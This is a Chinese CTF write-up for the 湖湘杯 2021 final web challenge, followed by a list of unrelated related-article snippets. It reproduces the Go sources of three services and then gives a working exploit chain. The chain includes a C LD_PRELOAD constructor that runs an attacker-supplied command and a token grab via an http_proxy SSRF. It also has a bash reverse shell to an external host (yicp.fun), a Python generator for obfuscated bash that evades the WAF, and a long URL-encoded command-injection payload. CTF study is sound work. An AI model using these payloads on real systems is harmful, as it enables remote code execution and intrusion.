[湖湘杯 2021 final]MultistaeAgency


题目是给了源码,我们先来看web的main.go

package mainimport ("bytes""crypto/md5""encoding/json""fmt""io""io/ioutil""log""math/rand""net/http""os""os/exec""path/filepath""strings"
)var SecretKey = ""type TokenResult struct {Success string `json:"success"`Failed string `json:"failed"`
}const letterBytes = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ"
func RandStringBytes(n int) string {b := make([]byte, n)for i := range b {b[i] = letterBytes[rand.Intn(len(letterBytes))]}return string(b)
}func getToken(w http.ResponseWriter, r *http.Request) {values := r.URL.Query()fromHostList := strings.Split(r.RemoteAddr, ":")fromHost := ""if len(fromHostList) == 2 {fromHost = fromHostList[0]}r.Header.Set("Fromhost", fromHost)command := exec.Command("curl", "-H", "Fromhost: "+fromHost, "127.0.0.1:9091")for k, _ := range values {command.Env = append(command.Env, fmt.Sprintf("%s=%s", k, values.Get(k)))}outinfo := bytes.Buffer{}outerr := bytes.Buffer{}command.Stdout = &outinfocommand.Stderr = &outerrerr := command.Start()//res := "ERROR"if err != nil {fmt.Println(err.Error())}res := TokenResult{}if err = command.Wait(); err != nil {res.Failed = outerr.String()}res.Success = outinfo.String()msg, _ := json.Marshal(res)w.Write(msg)}type ListFileResult struct {Files []string `json:"files"`
}// 查看当前 token 下的文件
func listFile(w http.ResponseWriter, r *http.Request) {values := r.URL.Query()token := values.Get("token")fromHostList := strings.Split(r.RemoteAddr, ":")fromHost := ""if len(fromHostList) == 2 {fromHost = fromHostList[0]}// 验证tokenif token != "" && checkToken(token, fromHost) {dir := filepath.Join("uploads",token)files, err := ioutil.ReadDir(dir)if err == nil {var fs []stringfor _, f := range files {fs = append(fs, f.Name())}msg, _ := json.Marshal(ListFileResult{Files: fs})w.Write(msg)}}}type UploadFileResult struct {Code string `json:"code"`
}func uploadFile(w http.ResponseWriter, r *http.Request) {if r.Method == "GET" {fmt.Fprintf(w, "get")} else {values := r.URL.Query()token := values.Get("token")fromHostList := strings.Split(r.RemoteAddr, ":")fromHost := ""if len(fromHostList) == 2 {fromHost = fromHostList[0]}//验证tokenif token != "" && checkToken(token, fromHost) {dir := filepath.Join("uploads",token)if _, err := os.Stat(dir); err != nil {os.MkdirAll(dir, 0766)}files, err := ioutil.ReadDir(dir)if len(files) > 5 {command := exec.Command("curl", "127.0.0.1:9091/manage")command.Start()}r.ParseMultipartForm(32 << 20)file, _, err := r.FormFile("file")if err != nil {msg, _ := json.Marshal(UploadFileResult{Code: err.Error()})w.Write(msg)return}defer file.Close()fileName := RandStringBytes(5)f, err := os.OpenFile(filepath.Join(dir, fileName), os.O_WRONLY|os.O_CREATE, 0666)if err != nil {fmt.Println(err)return}defer f.Close()io.Copy(f, file)msg, _ := json.Marshal(UploadFileResult{Code: fileName})w.Write(msg)} else {msg, _ := json.Marshal(UploadFileResult{Code: "ERROR TOKEN"})w.Write(msg)}}
}func checkToken(token, ip string) bool {data := []byte(SecretKey + ip)has := md5.Sum(data)md5str := fmt.Sprintf("%x", has)return md5str == token
}func IndexHandler (w http.ResponseWriter, r *http.Request) {http.ServeFile(w, r,"dist/index.html")
}func main() {file, err := os.Open("secret/key")if err != nil {panic(err)}defer file.Close()content, err := ioutil.ReadAll(file)SecretKey = string(content)http.HandleFunc("/", IndexHandler)fs := http.FileServer(http.Dir("dist/static"))http.Handle("/static/", http.StripPrefix("/static/", fs))http.HandleFunc("/token", getToken)http.HandleFunc("/upload", uploadFile)http.HandleFunc("/list", listFile)log.Print("start listen 9090")err = http.ListenAndServe(":9090", nil)if err != nil {log.Fatal("ListenAndServe: ", err)}
}

我们按照main主函数分析

  1. /token路由下调用getToken函数,获取url中的查询参数赋值给value,继续检查ip是否为127.0.0.1:80这样合法的,赋值给fromhost,接着执行curl命令去向127.0.0.1:9091发送请求,最后会将url中的查询参数的键名和键值赋值给环境变量
  2. /upload路由下调用uploadFile函数,会验证token值,然后拼接上传路径为/uploads/token值/文件名,文件名是由RandStringBytes函数生成五位随机字符
  3. /list路由下调用listFile函数,根据传参的token值进行验证并列出上传文件

看proxy的main.go,开放在 8080 端口

package mainimport ("github.com/elazarl/goproxy""io/ioutil""log""net/http""os"
)func main() {file, err := os.Open("secret/key")if err != nil {panic(err)}defer file.Close()content, err := ioutil.ReadAll(file)SecretKey := string(content)proxy := goproxy.NewProxyHttpServer()proxy.Verbose = trueproxy.OnRequest().DoFunc(func(r *http.Request,ctx *goproxy.ProxyCtx)(*http.Request,*http.Response) {r.Header.Set("Secretkey",SecretKey)return r,nil})log.Print("start listen 8080")log.Fatal(http.ListenAndServe(":8080", proxy))
}

继续分析server的main.go

package mainimport ("bytes""crypto/md5""fmt""io/ioutil""log""net/http""os""os/exec""unicode"
)// 检查来源ip为本地才继续执行var SecretKey = ""func getToken(w http.ResponseWriter, r *http.Request) {header := r.Headertoken := "error"var sks []string = header["Secretkey"]sk := ""if len(sks) == 1 {sk = sks[0]}var fromHosts []string = header["Fromhost"]fromHost := ""if len(fromHosts) == 1 {fromHost = fromHosts[0]}if fromHost != "" && sk != "" && sk == SecretKey {data := []byte(sk + fromHost)has := md5.Sum(data)token = fmt.Sprintf("%x", has)}fmt.Fprintf(w, token)
}func manage(w http.ResponseWriter, r *http.Request) {values := r.URL.Query()m := values.Get("m")if !waf(m) {fmt.Fprintf(w, "waf!")return}cmd := fmt.Sprintf("rm -rf uploads/%s", m)fmt.Println(cmd)command := exec.Command("bash", "-c", cmd)outinfo := bytes.Buffer{}outerr := bytes.Buffer{}command.Stdout = &outinfocommand.Stderr = &outerrerr := command.Start()res := "ERROR"if err != nil {fmt.Println(err.Error())}if err = command.Wait(); err != nil {res = outerr.String()} else {res = outinfo.String()}fmt.Fprintf(w, res)
}func waf(c string) bool {var t int32t = 0blacklist := []string{".", "*", "?"}for _, s := range c {for _, b := range blacklist {if b == string(s) {return false}}if unicode.IsLetter(s) {if t == s {continue}if t == 0 {t = s} else {return false}}}return true
}func main() {file, err := os.Open("secret/key")if err != nil {panic(err)}defer file.Close()content, err := ioutil.ReadAll(file)SecretKey = string(content)http.HandleFunc("/", getToken)     //设置访问的路由http.HandleFunc("/manage", manage) //设置访问的路由log.Print("start listen 9091")err = http.ListenAndServe(":9091", nil) //设置监听的端口if err != nil {log.Fatal("ListenAndServe: ", err)}
}
  1. /路由下调用getToken函数,检查来源ip为本地才继续执行
  2. /manage路由下调用manage函数,接收参数m并对其黑名单检测,不能出现.*?,同时字母,则只能出现一个,不过该字母可重复。将m值与rm -rf uploads/拼接赋值给cmd也就是要执行的命令,然后bash执行

代码审计完后整理下,web的main.go的getToken函数环境变量可控的,那么我们可以LD_PRELOAD绕过,RCE的关键地方就是/manage路由的执行bash命令,参数为cmd,不过cmd的值是由参数m拼接后的,所以我们可以自己创建cmd值从环境变量中获取,这样执行的就是我们的恶意命令
exp如下

#include <stdlib.h>
#include <stdio.h>
#include <string.h>__attribute__ ((__constructor__)) void angel (void){unsetenv("LD_PRELOAD");const char* cmd = getenv("CMD");system(cmd);
}

gcc进行编译

gcc -shared -fPIC 1.c -o 1.so

上传文件,然后F12在网络处发现token值,得到的方法是?http_proxy=127.0.0.1:8080
在这里插入图片描述
不过这里的文件路径有点小坑,我们查看下dockerfile
会发现目录其实是/code
在这里插入图片描述
所以我们上传后,payload如下

/token?LD_PRELOAD=/code/uploads/787f4b212c06816f264e6afc80e43a02/XVlBz&CMD=ls /

在这里插入图片描述
但是我们读取flag的时候发现不行,原因就在于权限不够
(dockerfile中也可以发现权限是400)

我们正常的命令执行是通过参数m来控制,并且监听的是9091端口
在这里插入图片描述那么我们可以绕过对m的waf,然后反弹shell到的靶机上用curl命令去弹127.0.0.1:9091/manage命令执行即可
bash -c 'bash -i >& /dev/tcp/5i781963p2.yicp.fun/58265 0>&1'url编码一下,反弹shell
在这里插入图片描述

绕过waf的脚本如下

import sys
from urllib.parse import quote# a = "bash -c 'expr $(grep + /tmp/out)' | /get_flag > /tmp/out; cat /tmp/out"
a = 'cat /flag'
if len(sys.argv) == 2:a = sys.argv[1]out = r"${!#}<<<{"for c in "bash -c ":if c == ' ':out += ','continueout += r"\$\'\\"out += r"$(($((${##}<<${##}))#"for binchar in bin(int(oct(ord(c))[2:]))[2:]:if binchar == '1':out += r"${##}"else:out += r"$#"out += r"))"out += r"\'"out += r"\$\'"
for c in a:out += r"\\"out += r"$(($((${##}<<${##}))#"for binchar in bin(int(oct(ord(c))[2:]))[2:]:if binchar == '1':out += r"${##}"else:out += r"$#"out += r"))"
out += r"\'"out += "}"
print('out =', out)
print('quote(out) =', quote(out))

m是会与前面rm命令拼接,所以用分号;隔开,构造;cat /flag
然后分号编码一下为%3b,payload如下

curl http://127.0.0.1:9091/manage?m=%3b%24%7B%21%23%7D%3C%3C%3C%7B%5C%24%5C%27%5C%5C%24%28%28%24%28%28%24%7B%23%23%7D%3C%3C%24%7B%23%23%7D%29%29%23%24%7B%23%23%7D%24%23%24%23%24%23%24%7B%23%23%7D%24%7B%23%23%7D%24%7B%23%23%7D%24%23%29%29%5C%27%5C%24%5C%27%5C%5C%24%28%28%24%28%28%24%7B%23%23%7D%3C%3C%24%7B%23%23%7D%29%29%23%24%7B%23%23%7D%24%23%24%23%24%23%24%7B%23%23%7D%24%7B%23%23%7D%24%23%24%7B%23%23%7D%29%29%5C%27%5C%24%5C%27%5C%5C%24%28%28%24%28%28%24%7B%23%23%7D%3C%3C%24%7B%23%23%7D%29%29%23%24%7B%23%23%7D%24%23%24%7B%23%23%7D%24%23%24%23%24%23%24%7B%23%23%7D%24%7B%23%23%7D%29%29%5C%27%5C%24%5C%27%5C%5C%24%28%28%24%28%28%24%7B%23%23%7D%3C%3C%24%7B%23%23%7D%29%29%23%24%7B%23%23%7D%24%23%24%23%24%7B%23%23%7D%24%23%24%7B%23%23%7D%24%7B%23%23%7D%24%23%29%29%5C%27%2C%5C%24%5C%27%5C%5C%24%28%28%24%28%28%24%7B%23%23%7D%3C%3C%24%7B%23%23%7D%29%29%23%24%7B%23%23%7D%24%7B%23%23%7D%24%23%24%7B%23%23%7D%24%7B%23%23%7D%24%7B%23%23%7D%29%29%5C%27%5C%24%5C%27%5C%5C%24%28%28%24%28%28%24%7B%23%23%7D%3C%3C%24%7B%23%23%7D%29%29%23%24%7B%23%23%7D%24%23%24%23%24%23%24%7B%23%23%7D%24%7B%23%23%7D%24%7B%23%23%7D%24%7B%23%23%7D%29%29%5C%27%2C%5C%24%5C%27%5C%5C%24%28%28%24%28%28%24%7B%23%23%7D%3C%3C%24%7B%23%23%7D%29%29%23%24%7B%23%23%7D%24%23%24%23%24%23%24%7B%23%23%7D%24%7B%23%23%7D%24%7B%23%23%7D%24%7B%23%23%7D%29%29%5C%5C%24%28%28%24%28%28%24%7B%23%23%7D%3C%3C%24%7B%23%23%7D%29%29%23%24%7B%23%23%7D%24%23%24%23%24%23%24%7B%23%23%7D%24%7B%23%23%7D%24%23%24%7B%23%23%7D%29%29%5C%5C%24%28%28%24%28%28%24%7B%23%23%7D%3C%3C%24%7B%23%23%7D%29%29%23%24%7B%23%23%7D%24%23%24%7B%23%23%7D%24%23%24%23%24%7B%23%23%7D%24%23%24%23%29%29%5C%5C%24%28%28%24%28%28%24%7B%23%23%7D%3C%3C%24%7B%23%23%7D%29%29%23%24%7B%23%23%7D%24%23%24%7B%23%23%7D%24%23%24%23%24%23%29%29%5C%5C%24%28%28%24%28%28%24%7B%23%23%7D%3C%3C%24%7B%23%23%7D%29%29%23%24%7B%23%23%7D%24%7B%23%23%7D%24%7B%23%23%7D%24%23%24%23%24%7B%23%23%7D%29%29%5C%5C%24%28%28%24%28%28%24%7B%23%23%7D%3C%3C%24%7B%23%23%7D%29%29%23%24%7B%23%23%7D%24%23%24%23%24%7B%23%23%7D%24%23%24%23%24%7B%23%23%7D%24%23%29%29%5C%5C%24%28%28%24%28%28%24%7B%23%23%7D%3C%3C%24%7B%23%23%7D%29%29%23%24%7B%23%23%7D%24%23%24%23%24%7B%23%23%7D%24%7B%23%23%7D%24%23%24%7B%23%23%7D%24%23%29%29%5C%5C%24%28%28%24%28%28%24%7B%23%23%7D%3C%3C%24%7B%23%23%7D%29%29%23%24%7B%23%23%7D%24%23%24%23%24%23%24%7B%23%23%7D%24%7B%23%23%7D%24%23%24%7B%23%23%7D%29%29%5C%5C%24%28%28%24%28%28%24%7B%23%23%7D%3C%3C%24%7B%23%23%7D%29%29%23%24%7B%23%23%7D%24%23%24%23%24%7B%23%23%7D%24%23%24%23%24%7B%23%23%7D%24%7B%23%23%7D%29%29%5C%27%7D

得到flag
在这里插入图片描述

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/221942.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

ASP.NET Core 8 在 Windows 上各种部署模型的性能测试

ASP.NET Core 8 在 Windows 上各种部署模型的性能测试 我们知道 Asp.net Core 在 windows 服务器上部署的方案有 4 种之多。这些部署方案对性能的影响一直以来都是靠经验。比如如果是部署在 IIS 下&#xff0c;那么 In Process 会比 Out Process 快&#xff1b;如果是 Self Hos…

Linux 线程池源码剖析

1 了解线程池 1-1线程池的概述 由一个任务队列和一组处理队列的线程组成。一旦工作进程需要处理某个可能“阻塞”的操作,不用自己操作,将其作为一个任务放到线程池的队列,接着会被某个空闲线程提取处理。 1-2线程池的组件 任务 待处理的工作,通常由标识、上下文和处理…

Java_内部类枚举

内部类 内部类: 是类中的五大成分之一&#xff08;成员变量、方法、构造器、内部类、代码块)&#xff0c;如果一个类定义在另一个类的内部&#xff0c;这个类就是内部类。场景:当一个类的内部&#xff0c;包含了一个完整的事物&#xff0c;且这个事物没有必要单独设计时&#x…

年度评选揭晓:Apache SeaTunnel荣获年度优秀开源技术团队殊荣

在OSCHINA平台举办的2023年度开源技术团队评选中&#xff0c;Apache SeaTunnel社区凭借其在开源领域的出色表现&#xff0c;荣获“2023年度优秀开源技术团队”奖项。 这一殊荣不仅是对Apache SeaTunnel社区在过去一年中技术贡献的认可&#xff0c;也是对其在开源社区活动运营方…

聊聊Api接口优化的几个方法!

我负责的系统到2021年初完成了功能上的建设&#xff0c;开始进入到推广阶段。随着推广的逐步深入&#xff0c;收到了很多好评的同时也收到了很多对性能的吐槽。刚刚收到吐槽的时候&#xff0c;我们的心情是这样的&#xff1a; 当越来越多对性能的吐槽反馈到我们这里的时候&…

springboot mybatis手动事务

创建springboot项目 搭建最简单的SpringBoot项目-CSDN博客 引入mybatis和数据库依赖 <dependencies><dependency><groupId>org.springframework.boot</groupId><artifactId>spring-boot-starter-web</artifactId></dependency><…

java设计模式学习之【代理模式】

文章目录 引言代理模式简介定义与用途实现方式 使用场景优势与劣势在Spring框架中的应用图片加载示例代码地址 引言 在现实生活中&#xff0c;我们经常使用代理来处理我们不想直接参与或无法直接参与的事务&#xff0c;例如&#xff0c;使用律师来代表法庭上的案件。在软件开发…

JS实现日历表

有需要的可以用一下&#xff0c;这是一个简单的demo. HTML&#xff1a; <table><thead><tr><th colspan"2"><span class"left"></span></th><th colspan"3"><span class"time"&g…

【快速应用开发】看看RedwoodJS

自我介绍 做一个简单介绍&#xff0c;酒架年近48 &#xff0c;有20多年IT工作经历&#xff0c;目前在一家500强做企业架构&#xff0e;因为工作需要&#xff0c;另外也因为兴趣涉猎比较广&#xff0c;为了自己学习建立了三个博客&#xff0c;分别是【全球IT瞭望】&#xff0c;【…

vue3+vite4中使用svg,使用iconfont-svg图标

记录一下vue3中如何使用svg图标&#xff0c;vue2中大家常用iconfont字体图标&#xff0c;现在vue3大家都又推荐svg的方式使用图表&#xff0c;包括elementplus组件库也变成使用svg方式引用图标。 1、创建svg组件 components/IconSvg.vue <template><svg class"…

保障事务隔离级别的关键措施

目录 引言 1. 锁机制的应用 2. 多版本并发控制&#xff08;MVCC&#xff09;的实现 3. 事务日志的记录与恢复 4. 数据库引擎的实现策略 结论 引言 事务隔离级别是数据库管理系统&#xff08;DBMS&#xff09;中的一个关键概念&#xff0c;用于控制并发事务之间的可见性。…

爱名网被评为“最佳安全保障注册服务机构”

12月12日&#xff0c;由中国互联网络信息中心主办&#xff0c;中国科学院计算机网络信息中心、中国工业互联网研究院、中国互联网协会联合主办&#xff0c;人民邮电报社承办的第四届中国互联网基础资源大会&#xff08;CNIRC&#xff09;在北京举办。 在本届大会上&#xff0c…

网络镜像 -- 本地端口镜像

网络镜像 网络镜像技术允许复制和记录在计算机网络上传输的数据流量&#xff0c;可以将交换机中一个端口的流量复制到另一个端口。 网络镜像广泛用于抓包监控。 用一个场景来举例&#xff1a; 如图&#xff0c;PC1、2、3分别是三台主机&#xff0c;与Switch交换机对应端口…

Mac 如何删除文件及文件夹?可以尝试使用终端进行删除

MacOS 是 Mac 电脑采用的操作系统&#xff0c;你知道 Mac 如何删除文件吗&#xff1f;除了直接将文件或者文件夹拖入废纸篓之外&#xff0c;我们还可以采用终端命令的办法去删除文件&#xff0c;本文为大家总结了 Mac 删除文件方法。 为何使用命令行删除文件 在使用 Mac 电脑…

训练效率提升40倍!开源图片生3D模型,Stable Zero123来啦

12月14日&#xff0c;著名生成式AI开源平台Stability.ai在官网开源了&#xff0c;图片生成高质量3D模型——Stable Zero123。 Stable Zero123是基于今年3月&#xff0c;丰田研究院和哥伦比亚大学联合开源的Zero123模型开发而成。主要通过更改渲染数据集和分数蒸馏对模型进行了…

【复杂gRPC之Java调用go】

1 注意点 一般上来说如果java调用java的话&#xff0c;我们可以使用springcloud来做&#xff0c;而面对这种跨语言的情况下&#xff0c;gRPC就展现出了他的优势。 代码放在这了&#xff0c;请结合前面的go服务器端一起使用 https://gitee.com/guo-zonghao/java-client-grpc /…

实战章节:在Linux上部署各类软件

详细资料见文章的资源绑定 一、前言 1.1 为什么学习各类软件在Linux上的部署 在前面&#xff0c;我们学习了许多的Linux命令和高级技巧&#xff0c;这些知识点比较零散&#xff0c;同学们跟随着课程的内容进行练习虽然可以基础掌握这些命令和技巧的使用&#xff0c;但是并没…

事务隔离级别:保障数据库并发事务的一致性与性能

目录 引言 1. 事务隔离级别概述 2. 读未提交隔离级别 3. 读已提交隔离级别 4. 可重复读隔离级别 5. 串行化隔离级别 6. 保障事务隔离级别的机制 7. 如何选择合适的隔离级别 8. 结语 引言 在数据库管理系统&#xff08;DBMS&#xff09;中&#xff0c;事务隔离级别是一…

Redisson分布式锁原理分析

1.Redisson实现分布式锁 在分布式系统中&#xff0c;涉及到多个实例对同一资源加锁的情况&#xff0c;传统的synchronized、ReentrantLock等单进程加锁的API就不再适用&#xff0c;此时就需要使用分布式锁来保证多服务之间加锁的安全性。 常见的分布式锁的实现方式有&#xff…

PyTorch 模型训练性能大揭秘:从基础到高级技巧一网打尽!

PyTorch 是一个开源的 Python 机器学习库&#xff0c;基于Torch&#xff0c;用于自然语言处理等应用程序。 PyTorch既可以看作加入了GPU支持的numpy&#xff0c;也可以看成一个拥有自动求导功能的强大的深度神经网络&#xff0c;同时它也是大模型开发的首选工具。 《PyTorch模…